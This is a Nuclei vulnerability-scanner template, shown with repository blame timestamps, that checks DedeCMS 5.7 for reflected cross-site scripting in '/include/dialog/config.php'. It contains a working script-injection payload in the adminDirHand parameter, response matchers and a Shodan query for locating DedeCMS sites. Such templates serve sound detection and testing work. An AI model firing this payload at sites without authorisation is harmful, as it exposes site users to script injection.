nuclei-templates/http/vulnerabilities/dedecms/dedecms-config-xss.yaml

45 lines
1.4 KiB
YAML
Raw Normal View History

id: dedecms-config-xss
2022-05-19 12:33:58 +00:00
info:
name: DedeCMS 5.7 - Cross-Site Scripting
2022-05-19 12:33:58 +00:00
author: ritikchaddha
severity: high
description: |
DeDeCMS 5.7 contains a cross-site scripting vulnerability in the '/include/dialog/config.php' file. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site.
reference:
2022-05-19 12:33:58 +00:00
- https://www.zilyun.com/8665.html
- https://www.60ru.com/161.html
- https://www.cnblogs.com/milantgh/p/3615853.html
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 7.2
cwe-id: CWE-79
metadata:
verified: true
2023-10-14 11:27:55 +00:00
max-request: 1
shodan-query: http.html:"DedeCms"
2022-05-19 12:33:58 +00:00
tags: dedecms,xss
http:
2022-05-19 12:33:58 +00:00
- method: GET
path:
- "{{BaseURL}}/include/dialog/config.php?adminDirHand=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
2022-05-19 12:33:58 +00:00
matchers-condition: and
matchers:
- type: word
part: body
words:
- "location='../../</script><script>alert(document.domain)</script>"
2022-05-19 12:33:58 +00:00
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4a0a0047304502206e07847ca9794c0bb28e7f6813a718ded8a675de71740a59b149bdca1b9091e3022100cdb076d95f5cf5f8c72abba312c332a18d5325d48ecf95e2c4f5aa9936247834:922c64590222798bb761d5b6d8e72950